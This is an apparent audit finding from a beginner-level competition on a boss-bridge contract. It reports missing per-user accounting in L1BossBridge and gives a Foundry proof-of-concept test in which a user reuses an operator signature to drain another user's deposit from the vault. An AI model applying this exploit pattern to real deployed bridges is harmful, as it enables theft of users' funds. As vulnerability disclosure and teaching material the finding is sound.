Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

`L1BossBridge` does not have any internal accounting, users can just empty the vaults

Summary

The contractL1BossBridge does not have any internal accounting. If a user deposits or withdraws any amount of tokens, there is no structure that would follow exactly how much was deposited/withdrawn by each user. A malicious user can thus just steal the whole amount locked.

Vulnerability Details

POC

User can withdraw whole balance of the Vault.

function testUserCanWithdrawTokensWithOperatorSignature() public {
vm.startPrank(user);
uint256 depositAmount = 10e18;
uint256 userInitialBalance = token.balanceOf(address(user));
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
assertEq(token.balanceOf(address(vault)), depositAmount);
assertEq(token.balanceOf(address(user)), userInitialBalance - depositAmount);
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(user, token.balanceOf(address(vault))), operator.key);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
vm.stopPrank();
assertEq(token.balanceOf(address(user)), userInitialBalance);
assertEq(token.balanceOf(address(vault)), 0);
address user2 = makeAddr("User2");
vm.prank(deployer);
token.transfer(address(user2), 1000e18);
vm.startPrank(user2);
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user2, userInL2, depositAmount);
vm.stopPrank();
assertEq(token.balanceOf(address(vault)), depositAmount);
assertEq(token.balanceOf(address(user2)), userInitialBalance - depositAmount);
vm.prank(user);
tokenBridge.withdrawTokensToL1(user, token.balanceOf(address(vault)), v, r, s);
assertEq(token.balanceOf(address(user)), userInitialBalance + depositAmount);
assertEq(token.balanceOf(address(user2)), userInitialBalance - depositAmount);
}

Impact

High, users funds can be stolen

Tools Used

Foundry

Recommendations

Add internal acounting for the deposit and withdraw functions.

Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1(): No check for deposits amount

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.